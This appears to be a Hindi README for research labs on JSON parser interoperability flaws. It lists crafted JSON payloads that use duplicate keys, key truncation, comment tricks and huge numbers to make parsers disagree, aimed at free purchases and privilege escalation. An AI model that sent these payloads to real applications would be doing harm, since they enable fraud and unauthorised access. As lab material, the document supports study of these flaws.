
"An Exploration of JSON Interoperability Vulnerabilities" के साथी लैब्स
ये मेरे शोध लेख "JSON इंटरऑपरेबिलिटी भेद्यताओं का अन्वेषण" की सहायक प्रयोगशालाएँ हैं।
लैब 1: ई-कॉमर्स एप्लिकेशन में मुफ़्त खरीदारी
लैब 2: मल्टी-टेनेंट एप्लिकेशन में विशेषाधिकार वृद्धि
ये प्रयोगशालाएँ डिफ़ॉल्ट रूप से होस्ट पोर्ट 5000-5004 से बंधती हैं।
असंगत डुप्लिकेट कुंजी प्राथमिकता
{"qty": 1, "qty": -1}
वर्ण छंटन
अंतिम-कुंजी प्राथमिकता पार्सरों में छंटन (पहली-कुंजी प्राथमिकता के लिए क्रम उलटें)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
टिप्पणी छंटन
ये दस्तावेज़ टिप्पणियों और बिना-उद्धरण वाले स्ट्रिंग्स के असंगत समर्थन का लाभ उठाते हैं:
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
असंगत बड़ी संख्या डिकोडिंग
ये बड़े संख्यात्मक मान स्ट्रिंग्स (जैसे, "+Infinity") में परिवर्तित हो सकते हैं, जिससे टाइप-जगलिंग भेद्यताएँ उत्पन्न हो सकती हैं। या, वे MAX_INT/MIN_INT, राउंड किए गए मान, या 0 में परिवर्तित हो सकते हैं, जो व्यावसायिक तर्क को बायपास करने की अनुमति दे सकते हैं।
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
Twitter: @theBumbleSec
GitHub: the-bumble